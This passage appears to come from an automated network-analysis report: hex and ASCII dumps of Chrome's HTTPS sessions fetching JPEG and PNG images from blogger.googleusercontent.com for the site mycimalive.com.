ff 00 62 60 db 15 35 ae 0d b9 ca d9 dd f8 42 68 9d 57 79 98 ac 4c 7f ae c9 c8 6d 45 cc cd be d0 00 1c bc fa 41 43 b7 79 b4 a5 b6 07 29 7f 9f Data Ascii: !P%D'7D6SdCSZa3#.(5I&${I^+gw/gA;H`h;g~8 ,lywLdGh"nPqZcvh()d3vb7UQCl!b`5BhWyLmEACy)
2024-10-14 22:39:49 UTC	1378	IN	Data Raw: 11 15 15 cc e2 7f 82 22 d4 a7 18 c6 82 09 81 7a 1a 80 01 7c a5 3b a7 83 99 c2 47 d2 68 1d d2 e5 59 bc 5d a0 bb 7a 53 a5 7d 04 20 bb 86 a3 3c 27 2d be 87 59 56 a8 1f 33 36 e5 85 b1 74 d6 ef dc 0d 1f 31 24 d6 07 8d fe 58 67 8f c8 cb f9 96 4e c7 e5 ff 00 c2 0c 97 92 fd 32 e8 be ca d7 ee 02 12 06 85 8c 88 ed 85 9d a5 ae 2d dd 0c da 3e cc bf 32 f1 15 de 27 04 a3 b8 b7 75 b9 48 fd 50 37 8b 95 58 66 7b ca 53 72 dd e5 9d 97 da 06 b5 03 cc b6 5a 4d 8b 65 6b 3f dc 20 0c e7 e0 e7 53 93 1f 62 5f b4 e4 29 4f 42 09 e1 5b ed ff 00 27 83 af fa e1 fc cf 79 5d 06 5b 8c 02 52 50 46 98 16 e2 76 32 dd a2 04 a5 89 3d f0 1d b9 8b 1e f2 fa 18 82 73 0d e2 54 6b 67 31 25 1d 98 80 5e 3e d3 3d 6f 81 8a 56 ad 91 ea bb 03 95 cb 66 ca 9b 5f 68 ab c5 ff 00 13 b3 1c 6f 56 06 39 16 9d fd Data Ascii: "z\|;GhY]zS} <'-YV36t1$XgN2->2'uHP7Xf{SrZMek? Sb_)OB['y][RPFv2=sTkg1%^>=oVf_hoV9
2024-10-14 22:39:49 UTC	1378	IN	Data Raw: 34 64 12 58 34 2d 44 1f 38 9f 3e 67 14 ec 5d 91 4a 6e b1 ee 15 12 66 9f 91 dc b6 08 cb b8 d1 1a 74 49 88 e0 da 69 08 d8 53 17 08 42 8f 51 2e 8c d8 20 e3 3a 05 b4 66 49 38 5e 91 1d 8d e9 8e 09 33 27 31 8f 71 9e c1 e5 43 9b 13 5f 95 f7 21 fb f2 23 6f 66 99 8d 5a 51 56 70 24 5a 1b 29 6c a2 31 a1 8b 08 78 1c 5a 36 7b 7c d9 8c c9 3c 09 9a f6 3e 1f cf e3 8b 8e 09 35 a6 35 a9 f0 bd 1b 11 1f ff c4 00 27 10 01 00 02 02 02 02 02 02 02 03 01 01 00 00 00 00 01 00 11 21 31 41 51 61 71 81 91 10 a1 b1 d1 c1 e1 f0 20 f1 ff da 00 08 01 01 00 01 3f 10 43 2b 1f fc 63 dc 99 cf 39 eb 0f cd 38 54 6b ec a0 e6 2d 14 1b 12 92 59 c4 c3 98 98 8b c4 5c 92 ff 00 16 42 70 ca 98 ce 1c c4 84 ad dc 6e ea 7a 44 f5 2b f8 d6 57 f2 02 e7 a7 e5 27 c6 78 01 42 d8 90 a8 06 db 7e 27 b8 dd d8 d4 Data Ascii: 4dX4-D8>g]JnftIiSBQ. :fI8^3'1qC_!#ofZQVp$Z)l1xZ6{\|<>55'!1AQaq ?C+c98Tk-Y\BpnzD+W'xB~'
2024-10-14 22:39:49 UTC	1378	IN	Data Raw: ed 9e b3 d2 0b a8 b5 5e 58 0e 03 31 a3 fd c8 8c 86 c6 ad ae c8 0a f6 a2 fe 13 42 f0 95 da cf 37 01 c1 15 65 60 f6 d1 f1 2f 74 3a 02 d6 0b e7 30 6a 2b 4a cf 6a 36 af 6c cd 16 db d4 c3 06 50 ec 44 a4 d4 29 99 10 7d 0a 98 b9 54 9b b4 d9 fe a6 50 06 28 3f bc 1d 3c 9f 07 75 2d f8 bf 89 f1 8f 1f 10 32 22 d7 1d 67 8c a1 a5 b0 00 8e 09 4a 03 52 c0 73 02 50 3e 65 f5 88 55 d1 7d 43 74 06 a7 58 58 84 b3 0f a8 f6 f0 b3 b3 dc dd 39 1a 61 e1 f8 df a8 96 00 ab 59 e2 7c 84 21 7a 60 3e 04 81 02 9c d6 ae 17 d2 61 58 53 9c 19 75 08 ab 3e c0 ab 85 6d 87 ae 60 e0 ba 2a 18 ac 52 ca 46 3a 17 4f 89 6c 47 3a b8 86 d5 24 54 22 8c 59 c8 dc 3d 6e e5 b1 01 61 15 d2 78 61 83 86 da 35 9f 1f d4 00 12 35 69 b3 37 1c 0d ab 31 f0 8f 84 f4 9e 95 2d 68 f1 0d 84 53 4e 91 9d 13 72 a0 16 19 b8 Data Ascii: ^X1B7e`/t:0j+Jj6lPD)}TP(?<u-2"gJRsP>eU}CtXX9aY\|!z`>aXSu>m`*RF:OlG:$T"Y=naxa55i71-hSNr
2024-10-14 22:39:49 UTC	697	IN	Data Raw: 18 12 a2 ab c1 0f dc 04 54 ca be 20 84 64 ee ef 6f f5 00 67 ea c8 0f 11 28 db 12 be dc 37 73 63 f6 4a b0 49 3f fb 71 60 27 b6 52 f1 47 3a 57 dc 01 92 c1 a5 24 27 51 62 40 2b 3b b8 2a 01 f9 9a 67 0c 28 71 18 3b 7a 25 1a 59 67 9a 83 ee 5f b8 25 a8 0a 0a c5 b0 88 b4 e0 4c 30 4e 06 10 a2 5b 0b f8 4b 05 a2 c5 88 4a 6e 1a 45 c6 b6 f5 12 82 36 d1 03 bd 2c dc 74 3e cb f8 81 5e 55 5c 15 4f c0 8f c4 64 69 74 78 bf eb a4 5c 99 f8 70 80 c7 c3 32 9e 44 f7 4a 7f 98 02 81 47 5c 59 fd 8a 61 30 13 c6 66 7c c6 fb 65 4a e9 d4 d9 9c c0 2a ab 15 c4 64 a1 92 20 16 58 ac a8 25 99 44 55 9a 0e 25 da 16 e5 9c b8 94 e5 fb 4b 35 20 f3 29 a4 53 a9 6b 86 23 18 c7 2a 97 04 a7 51 0e 58 07 29 56 05 e8 3d b0 df 02 aa e5 0a f2 a0 4c 00 5a 0b 7e a5 00 7e c5 44 a4 18 29 25 62 6c e8 bf 9e 25 Data Ascii: T dog(7scJI?q`'RG:W$'Qb@+;g(q;z%Yg_%L0N[KJnE6,t>^U\Oditx\p2DJG\Ya0f\|eJd X%DU%K5 )Sk#*QX)V=LZ~~D)%bl%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49737	142.250.185.161	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:48 UTC	875	OUT	GET /img/a/AVvXsEhNSBCxza-9Vm_wzzSDljXblYAqFphshx9W6Cj3v4FTMfxOabEclNgX653uZHpemqUXK4ZjSlXdRCCJZEfqsfS_ZGG5w1Plyw7VR-wR3bhPAqUlEBycdvcymliiWooHhIo_A9iKKpN03q6X_KdEEEtocrAdBpQORzh0zJosW1k9ijrOx0paMjC7iiGa4jQ=s1280 HTTP/1.1 Host: blogger.googleusercontent.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.mycimalive.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-14 22:39:49 UTC	488	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Vary: Origin Access-Control-Expose-Headers: Content-Length ETag: "vd47" Expires: Tue, 15 Oct 2024 22:39:49 GMT Cache-Control: public, max-age=86400, no-transform Content-Disposition: inline;filename="055479600e02acd988f06fdf251.jpg" X-Content-Type-Options: nosniff Date: Mon, 14 Oct 2024 22:39:49 GMT Server: fife Content-Length: 12590 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-14 22:39:49 UTC	890	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff e1 00 6c 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 03 00 31 01 02 00 07 00 00 00 32 00 00 00 12 02 03 00 02 00 00 00 02 00 02 00 69 87 04 00 01 00 00 00 3a 00 00 00 00 00 00 00 47 6f 6f 67 6c 65 00 00 03 00 00 90 07 00 04 00 00 00 30 32 32 30 02 a0 04 00 01 00 00 00 2c 01 00 00 03 a0 04 00 01 00 00 00 a9 00 00 00 00 00 00 00 ff db 00 43 00 06 04 05 06 05 04 06 06 05 06 07 07 06 08 0a 10 0a 0a 09 09 0a 14 0e 0f 0c 10 17 14 18 18 17 14 16 16 1a 1d 25 1f 1a 1b 23 1c 16 16 20 2c 20 23 26 27 29 2a 29 19 1f 2d 30 2d 28 30 25 28 29 28 ff db 00 43 01 07 07 07 0a 08 0a 13 0a 0a 13 28 1a 16 1a 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 Data Ascii: JFIFlExifII12i:Google0220,C%# , #&'))-0-(0%()(C((((((((((((((((((((((((((((((((((((((
2024-10-14 22:39:49 UTC	1378	IN	Data Raw: bb de 73 24 9b d2 a4 f3 3e 92 27 bc 77 98 e8 4b 69 f3 ba 98 45 76 6b d0 6b ed cd 1e 5a 59 ee a2 a5 dc 89 b5 2b ca c3 ce 2c e8 f3 29 af f5 bc 09 7d ea 75 fc ad 6d ea 0d f3 34 c3 d0 73 f8 e6 53 74 34 a8 06 59 eb 30 12 e0 c0 b9 ce 03 8d 24 2c 7d 00 12 8a 98 25 11 d0 4f e8 1e 6f d7 c5 bb 68 6b 5e e4 bf 35 2d 8d 26 d9 d0 74 39 63 45 5a ee 60 1d 27 39 b5 9b 2d 82 7a bc 7e 85 7e 17 41 4d 45 59 2c 22 2d e5 df bc a6 0e 0b a1 e4 ec 96 44 11 b8 b6 fc f0 8d a1 1d 24 86 db 6b 94 cc 44 25 0a 6b 9c 27 36 46 c1 34 d0 20 65 a0 eb fa 2e 5f 40 bb 2c 57 71 17 a1 74 78 59 a6 a1 93 ca c5 2c cc b1 3c 51 73 1b 6a 4e 88 e2 d2 d9 94 9e 3f b3 c7 ad 26 c9 57 ab a9 89 4b 0c 8a 00 26 29 24 29 22 99 20 54 80 45 02 2d 4e 1e 41 72 ac 45 62 c9 d2 4f 52 4b 2a 9a bc ec 1e 28 de 19 cc b3 14 Data Ascii: s$>'wKiEvkkZY+,)}um4sSt4Y0$,}%Oohk^5-&t9cEZ`'9-z~~AMEY,"-D$kD%k'6F4 e._@,WqtxY,<QsjN?&WK&)$)" TE-NArEbORK*(
2024-10-14 22:39:49 UTC	1378	IN	Data Raw: 7b 16 5c ab a9 a3 a7 66 f5 1a d7 aa 67 d9 46 34 ea 61 6c 3d 32 ca df a6 f5 0c 8a 6a c5 1e 49 f1 f5 6e 6c fd 63 ee c3 47 d3 a6 6e 9c 76 ca b7 5a 6b 1c 78 87 98 5e 50 f3 51 a6 67 bf b9 15 4b 2e b4 02 17 0e 83 63 1c b0 6a a6 45 0c 14 a1 9d 40 f6 ba 27 db d7 fb ff 00 1f e5 f4 56 3c e3 bb 69 89 e3 5b 05 8a fb 67 6d d1 53 84 76 e3 37 e6 f6 0d 6d 6c 23 1e 50 30 42 e7 6e 85 45 72 ce 2d 41 4f 16 86 65 e3 08 f2 c0 9f e0 d4 3c d3 e1 79 4d c1 a3 3f ad ce 53 98 23 7e 79 45 3a 36 10 00 9b d3 13 b0 27 e5 0c 3c 78 b0 f4 69 af f0 ff 00 7f 40 89 f9 2f e0 3e c7 f1 6f f5 a7 da af b3 7e 46 59 29 fb 24 ba 34 af ec 7f 25 fc 44 ff 00 cc ff 00 b0 fd cc 3f 73 f5 7f ff c4 00 28 11 00 02 02 02 00 05 03 04 03 00 00 00 00 00 00 00 00 01 02 11 03 12 04 10 13 20 21 22 31 51 05 30 41 61 Data Ascii: {\fgF4al=2jInlcGnvZkx^PQgK.cjE@'V<i[gmSv7ml#P0BnEr-AOe<yM?S#~yE:6'<xi@/>o~FY)$4%D?s( !"1Q0Aa
2024-10-14 22:39:49 UTC	1378	IN	Data Raw: 6f 35 9b 29 f1 56 85 0e 0b 21 58 6a 36 4f 55 70 4b 3f 44 1d 19 7a aa 6f a6 e1 c5 a2 73 59 62 7f 45 b3 be 41 18 ae a9 d1 02 71 81 cf c6 15 07 51 a8 d6 65 2d 25 dd 13 cb 9a d3 80 8d 34 4d a5 5f b4 7b 4b 49 2e f4 4e a6 ce 10 d1 07 c7 9a c4 1d 6f 24 31 de 14 31 c0 79 a9 73 e4 f5 08 1c 21 cd 8e aa f8 27 f2 c4 23 00 03 be fd eb 2b ca e2 85 21 f8 be a8 63 a7 99 5f 4f 05 c8 f9 1b ac 8f c4 16 8a ce 70 51 50 db a9 57 0d 23 c0 ad 95 a6 dd a3 b5 e8 17 b6 68 7b 3f 33 54 d2 8c 25 56 65 21 15 18 63 9d d1 a9 8c c9 54 3d ab 8b f1 ce 13 d1 55 70 fe 9b 5a 3f 75 b2 d4 31 80 fe f0 83 e2 59 66 c2 67 64 5d 8d c7 ac a6 16 6c f5 81 c3 72 ee ab 9c 78 f7 24 12 15 dc 4f bd d1 59 ce 1f 35 c5 f4 56 85 9e 93 4f c9 46 15 69 f2 53 2b 29 56 7b 0c 0d 31 2a 94 e0 3c b4 05 20 3d ae 4e 34 40 Data Ascii: o5)V!Xj6OUpK?DzosYbEAqQe-%4M_{KI.No$11ys!'#+!c_OpQPW#h{?3T%Ve!cT=UpZ?u1Yfgd]lrx$OY5VOFiS+)V{1*< =N4@
2024-10-14 22:39:49 UTC	1378	IN	Data Raw: a5 7d 56 d1 b5 5f f0 30 fa 2b d6 a5 62 54 af 44 35 87 86 13 d2 a5 4a fa 13 d1 ed ff 00 c6 40 b8 45 67 d2 ad c5 78 81 ca a3 4d ee 55 07 86 0c 14 32 e6 57 f0 25 35 cf a3 f6 f4 7e 9a f4 f6 85 59 8b fa c2 04 0f 4e 84 e8 ac 7a 2b e6 2d 6f 0f a2 de e5 65 7a 3a 69 f1 1c 16 55 97 ed 2b 31 ae 9e 86 f2 5f 6f e7 3e 8e 3b c0 82 67 0d 79 16 62 64 e0 c5 84 b6 80 c4 4e 91 33 1b 49 90 75 48 f9 1a 19 70 cc 48 fa 38 c7 a3 af fe 32 05 c0 84 10 56 0b 62 c0 d5 44 f8 98 c0 57 bf a1 a8 aa b6 93 1c 4c 2a a1 07 15 a8 9c 92 a5 4d 4c ab 8d fc 7b c5 8d 24 a9 52 a3 fc 55 ea 10 f4 19 05 6e 55 4c 45 dd 4e 98 be 9a 85 69 44 4e 27 b2 20 80 b3 a2 0f ba 00 a7 fd 44 8a a3 05 b3 2e fa cb 00 29 31 e6 64 de 7d 1c 63 86 27 72 0a 0d c4 c8 cd ae 26 12 b0 56 22 7d 35 98 95 e9 c7 de c4 55 58 3d e2 Data Ascii: }V_0+bTD5J@EgxMU2W%5~YNz+-oez:iU+1_o>;gybdN3IuHpH82VbDWL*ML{$RUnULENiDN' D.)1d}c'r&V"}5UX=
2024-10-14 22:39:49 UTC	1378	IN	Data Raw: 1b 01 e9 bd d2 a1 e7 43 01 6b e0 3f a8 dd e6 e5 81 7e 88 8e 6d 9e aa c1 bf 0c 0d 5b 1b 1d 11 97 74 f6 59 c4 49 af 02 dd 90 bd 76 bd 9e be 33 00 e7 38 c9 29 d7 1b 35 96 56 8e 61 2d 80 79 3e 05 bb 77 95 17 77 89 eb 5f fb 11 ac 58 28 5c af f1 51 62 47 20 66 33 13 c5 11 4c 20 f8 79 8c de 08 ea 8e 86 67 38 74 d2 71 90 e9 00 e1 56 0b b4 15 0a e0 e7 b6 a7 25 4e a5 7c 4c 3d 23 dc 98 72 fc cf 27 d0 41 e9 99 cf 11 07 75 3b 1e f2 fd 65 d3 9c 4b b0 62 a1 bb f2 04 3e b6 86 73 fd 15 17 ec 14 e9 cc 5a 59 4a fa bc bf a8 63 00 5c 74 b4 fe ae 38 ab 5c b6 30 fe e6 66 2c 3d ea e3 66 a2 98 18 30 41 d7 25 98 47 05 85 b3 bb 47 95 39 b6 3e d9 cd 3e 92 da 4a a5 3d 23 70 9b 22 70 73 4f c8 cc 57 ab cc 02 fd c5 33 62 69 ed 62 36 b5 9b ca 3d b8 9a 56 01 7c fe 19 88 dd 22 f2 a0 d0 f6 Data Ascii: Ck?~m[tYIv38)5Va-y>ww_X(\QbG f3L yg8tqV%N\|L=#r'Au;eKb>sZYJc\t8\0f,=f0A%GG9>>J=#p"psOW3bib6=V\|"
2024-10-14 22:39:49 UTC	1378	IN	Data Raw: a6 51 e6 c5 f1 34 e6 d7 b9 eb 8b e2 ed c4 ef 4b d8 dc b8 24 9a dd ad ba 80 d8 c9 9a f1 61 61 20 cc cd b7 0c 9f 18 e7 1b 86 e2 db 96 e2 82 f5 60 f3 02 cb 3f f4 bc 4f 2c 95 cd 6d 05 c9 0b b9 68 36 93 d6 20 b0 5b 5b c4 37 77 ff c4 00 27 11 01 00 02 02 01 02 06 02 03 01 00 00 00 00 00 00 01 00 11 21 31 41 61 91 10 51 71 a1 d1 f0 81 c1 20 b1 e1 f1 ff da 00 08 01 02 01 01 3f 10 ca 09 66 20 84 09 44 41 f0 50 66 67 e0 a2 37 87 c7 f0 48 d3 89 84 4b 02 10 8b 53 aa 65 2f 3b 80 57 96 bd 97 c5 57 12 a3 fc 01 e7 f0 08 22 82 2d 4d a8 72 42 ca 65 cb b0 e0 77 8b d3 55 d9 61 0a 4b a9 86 24 7c 47 64 d1 b2 b5 a6 21 96 ef c1 6b 88 d2 b8 13 51 62 a2 9b 60 bf 69 ac 5b bb a2 4a ca 3c fb 16 16 97 8a 98 f8 e1 29 2c 98 ae ce 12 64 08 01 80 f4 fb 9f b9 8f d3 67 9c dc 3e 61 1b cd f3 Data Ascii: Q4K$aa `?O,mh6 [[7w'!1AaQq ?f DAPfg7HKSe/;WW"-MrBewUaK$\|Gd!kQb`i[J<),dg>a
2024-10-14 22:39:49 UTC	1378	IN	Data Raw: ab 4c 6a 05 3d d4 0a 32 ff 00 51 34 15 6d 5e 36 46 c2 80 70 90 2a 99 7a a5 7b 88 09 b2 f2 bd c7 79 1f 01 ee 55 a4 65 5a 34 44 ac 1b dc b2 a6 20 0d 5d cc 39 63 e2 3b 95 71 39 23 90 1b f3 3b 04 62 af 54 da 65 f8 89 ca ae 30 97 5f ab 92 55 6b 6b 4b 79 38 82 28 4d 60 33 2d 08 1a 09 cf 92 03 c8 4d 2e a6 2a 12 d1 de 7b 88 03 94 a8 23 75 cd 40 f2 35 9b 97 33 ab fe c7 98 dd 8b 6e 26 50 bb 9b 22 a8 a3 e6 2b 79 2c af 4d 4b b8 a5 4a 0b bb 43 ed 70 52 d2 ba b4 a1 8e 1c f6 82 0e 01 60 f1 d7 f2 18 87 55 19 59 e1 3f b5 40 ea 26 d9 63 88 16 f1 2d 60 b4 d0 c9 20 65 66 74 98 08 50 16 9a c4 72 78 ba d7 fb 2e d4 2b 82 0c 28 35 05 b0 3c 40 df 98 33 a6 74 67 88 8b 29 36 f3 13 cc 12 d3 2f 4c f2 3f e4 74 94 6e 81 b3 d6 e5 c4 9b 9d 9f 11 c6 14 7a 7e e1 b2 c1 95 17 e0 5d 3e a2 e2 Data Ascii: Lj=2Q4m^6Fpz{yUeZ4D ]9c;q9#;bTe0_UkkKy8(M`3-M.{#u@53n&P"+y,MKJCpR`UY?@&c-` eftPrx.+(5<@3tg)6/L?tnz~]>
2024-10-14 22:39:49 UTC	1378	IN	Data Raw: f8 d7 a8 4f 6d b8 c4 bd 10 87 27 79 04 0a 51 b6 e0 e0 ca 71 0d 05 c1 46 83 5a 29 62 c3 88 1d a8 b4 26 05 f0 6b 7e 4e e3 ea 80 20 a9 08 34 62 b8 f3 0b 5f 59 06 88 75 5b b6 71 05 b3 33 21 af 7f af 13 4f 15 ac 33 3c 2e eb 74 54 aa 24 a2 02 da c3 45 29 63 71 88 6a a9 94 15 7e 14 2d ff 00 ec be 28 4d 6e 94 8d 75 47 c9 75 99 99 38 98 28 97 8b af 7c 4c 24 95 2b a7 36 d1 33 f3 fa 80 6d 59 f1 08 72 bc 06 a6 1e ef c4 b9 62 f8 99 d6 9f 21 01 79 2c 30 6f f5 0a fe 09 ba fa 53 fb 32 de a8 5f e4 a1 c3 7d 48 a0 0d 33 e1 79 77 8d eb 3e 23 90 e9 4a 2e 70 37 9c 53 78 dc 42 a0 0c 62 51 8e f1 4e bb f1 02 0a e3 83 5a 37 60 37 74 57 ee 0c 33 2b 4f 0c 62 9c c0 01 14 5b 57 91 b6 0e f9 97 58 80 1a 50 b1 6b a6 c3 bd f8 8a 9c a4 7e bb a4 71 28 18 41 77 46 3a 5b e7 c4 35 31 e0 4c b6 Data Ascii: Om'yQqFZ)b&k~N 4b_Yu[q3!O3<.tT$E)cqj~-(MnuGu8(\|L$+63mYrb!y,0oS2_}H3yw>#J.p7SxBbQNZ7`7tW3+Ob[WXPk~q(AwF:[51L
2024-10-14 22:39:49 UTC	676	IN	Data Raw: 5c a6 36 34 0e e5 a0 7c 02 a8 6b 1b b7 dc 36 54 39 6a ad 6d 7f b9 7a 69 ae 0e 47 0d e9 97 34 5a bc cf 23 9a f8 a8 d9 23 aa 13 4d 66 c3 6c 0f d0 13 b3 56 97 b1 fd c3 75 6a 05 d6 ff 00 50 b1 ab 90 43 d1 bc d6 7c 04 36 1b 88 37 59 e6 c7 c6 a2 8e 51 11 99 6a af 67 a9 77 0e 42 a0 1c 62 ff 00 fb 18 08 54 a7 08 9d 89 fa 80 f9 a9 34 75 79 33 02 80 ab 31 7c c5 36 26 f4 36 ff 00 c7 dd 33 99 01 97 7c 62 08 09 f0 bd 9a 8f 36 4c 28 5d b0 02 a9 29 bb 22 3a ef 88 77 58 62 e3 21 b4 5d dc 1f dc 42 02 e7 00 5e 67 6e 65 f9 b9 7a f1 0c 4b fc 24 c8 df 99 64 58 a0 bd ef d7 73 67 52 f5 c4 c5 a0 f0 74 45 e6 bd 46 e1 4b 02 f9 b7 fc 83 61 1d 2a 30 8a c4 c9 93 df b8 48 85 14 15 6b 0d dd 60 ee 62 99 50 55 8b 38 45 bf 50 64 b7 c7 47 52 b2 1f 28 0e df 82 c8 6d c1 e6 e1 4a a3 2e 16 01 Data Ascii: \64\|k6T9jmziG4Z##MflVujPC\|67YQjgwBbT4uy31\|6&63\|b6L(])":wXb!]B^gnezK$dXsgRtEFKa*0Hk`bPU8EPdGR(mJ.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49738	142.250.185.161	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:48 UTC	875	OUT	GET /img/a/AVvXsEgc5N711LzOz4iNi3xi8pKVeX5gkv9MZWih5ACBCf6qslJOmWdT2u9DMUW8EPNyL_vWulCbbU2Y_UNgTzB7DL-R8FTebR49t2DM3JNeXbA8ROjCJUcgmT_sToEDzUzZ9bl5_ETfIk1YAUbRLEPhE7XNYdyr6NuAu0boEGYH0PjvTciStuR24xcyccktybY=s1280 HTTP/1.1 Host: blogger.googleusercontent.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.mycimalive.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-14 22:39:49 UTC	466	IN	HTTP/1.1 200 OK Content-Type: image/png Vary: Origin Access-Control-Expose-Headers: Content-Length ETag: "vd3e" Expires: Tue, 15 Oct 2024 22:39:49 GMT Cache-Control: public, max-age=86400, no-transform Content-Disposition: inline;filename="netflix.png" X-Content-Type-Options: nosniff Date: Mon, 14 Oct 2024 22:39:49 GMT Server: fife Content-Length: 3514 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-14 22:39:49 UTC	912	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 3c 00 00 00 3c 08 06 00 00 00 3a fc d9 72 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 5f 7a 54 58 74 52 61 77 20 70 72 6f 66 69 6c 65 20 74 79 70 65 20 41 50 50 31 00 00 08 99 e3 4a 4f cd 4b 2d ca 4c 56 28 28 ca 4f cb cc 49 e5 52 00 03 63 13 2e 13 4b 13 4b a3 44 03 03 03 0b 03 08 30 34 30 30 36 04 92 46 40 b6 39 54 28 d1 00 05 98 98 9b a5 01 a1 b9 59 b2 99 29 88 cf 05 00 4f ba 15 68 1b 2d d8 8c 00 00 0d 06 49 44 41 54 68 81 bd 5b 7b 70 54 55 9a ff 9d 73 1f fd 22 9d ee 74 67 02 e4 c1 2b 81 48 20 02 c2 80 04 42 2d a8 0c 94 a3 ee a6 8a 71 37 38 d1 75 59 4b d7 1d 67 c6 72 77 2d 16 a9 9a da 7f 66 ca 5a a7 74 9d 2d cb 31 95 d1 9d 29 71 06 c6 d2 9a 88 12 56 1e 09 84 49 4c 14 21 81 c5 40 02 09 Data Ascii: PNGIHDR<<:rsBIT\|d_zTXtRaw profile type APP1JOK-LV((OIRc.KKD04006F@9T(Y)Oh-IDATh[{pTUs"tg+H B-q78uYKgrw-fZt-1)qVIL!@
2024-10-14 22:39:49 UTC	1378	IN	Data Raw: 28 76 09 32 08 80 a9 d2 08 00 06 a0 d1 d0 30 ca a7 07 03 0b 89 80 35 54 04 07 9f 56 57 00 30 c6 81 b3 4c 83 79 18 f1 2d 7a 7a 7a 36 bd fd f6 db bf 5f bb 76 ed 03 56 ab 75 34 1c 0e 9b be 47 ba ba ba a6 3d 14 04 01 63 63 63 78 e5 95 57 fe e3 dd 77 df 9d d1 8c ef a2 22 3e b1 b8 e0 02 81 3e a5 d9 04 80 83 50 fc 44 0f e1 75 3d 32 ad ee 0e 2a 61 bf e8 80 8e e9 1f 4b 06 70 99 1b f8 67 7d 02 b1 99 1a 31 89 aa aa aa f7 5f 7a e9 a5 bd 4b 96 2c 09 c7 62 d3 6b 51 5d d7 31 b5 48 92 84 86 86 86 17 66 43 16 00 34 ce d1 cb 19 a2 e0 d3 8a 02 0e 85 33 ec 10 24 d3 ba 06 00 15 1c 5a 92 32 f5 03 ce 84 96 96 96 47 5e 7e f9 e5 5f 31 c6 60 18 c6 34 6e 34 14 0a e1 d6 12 8b c5 f0 d1 47 1f dd d3 d0 d0 70 60 b6 4a 04 00 43 cc 40 04 fc 1b b3 be b5 28 e0 a8 24 22 4a a8 60 5a 7f ea fb Data Ascii: (v205TVW0Ly-zzz6_vVu4G=cccxWw">>PDu=2*aKpg}1_zK,bkQ]1HfC43$Z2G^~_1`4n4Gp`JC@($"J`Z
2024-10-14 22:39:49 UTC	1224	IN	Data Raw: f1 5e a9 40 a1 9a 9c 24 a6 8b b2 b2 b2 3f 5b ad 56 83 2a 8a 82 ea ea ea df 7b 3c 9e 81 0c eb f8 06 b7 ee 5a bd 6f a8 08 21 89 59 83 a3 88 52 58 40 10 03 40 32 34 92 09 21 ac ba ba fa 3d ce 39 28 63 0c 0b 17 2e fc fa 81 07 1e f8 9f 8c 48 37 53 78 cb ff cf 19 3a 2e 71 03 b2 09 19 86 f8 66 bd 13 04 4a 06 fb 78 dd ba 75 27 d7 af 5f ff bf 9a a6 c5 cf 96 fc 7e 3f 56 ad 5a f5 9e 20 08 59 f3 d6 09 7a 3a 38 5a 8d 18 2c 49 36 e3 09 80 42 4a a1 73 20 53 13 d4 bd f7 de fb e6 c4 c4 04 0f 04 02 f1 6d da 9c 9c 1c 6c d9 b2 a5 a3 ba ba fa 0f 19 d1 30 03 8e b0 28 42 c9 bc 35 38 0a 29 85 0c 92 91 a8 ab b8 b8 f8 c2 ee dd bb 3f cc c9 c9 81 c7 e3 01 f5 fb fd f0 f9 7c f0 fb fd d8 ba 75 eb 7f 11 42 b2 be db d2 6e e8 49 9d 57 22 d4 cc 21 14 2a d2 9f 8f 77 ee dc f9 4a 24 12 09 dd Data Ascii: ^@$?[V{<Zo!YRX@@24!=9(c.H7Sx:.qfJxu'_~?VZ Yz:8Z,I6BJs Sml0(B58)?\|uBnIW"!wJ$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49741	142.250.185.105	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
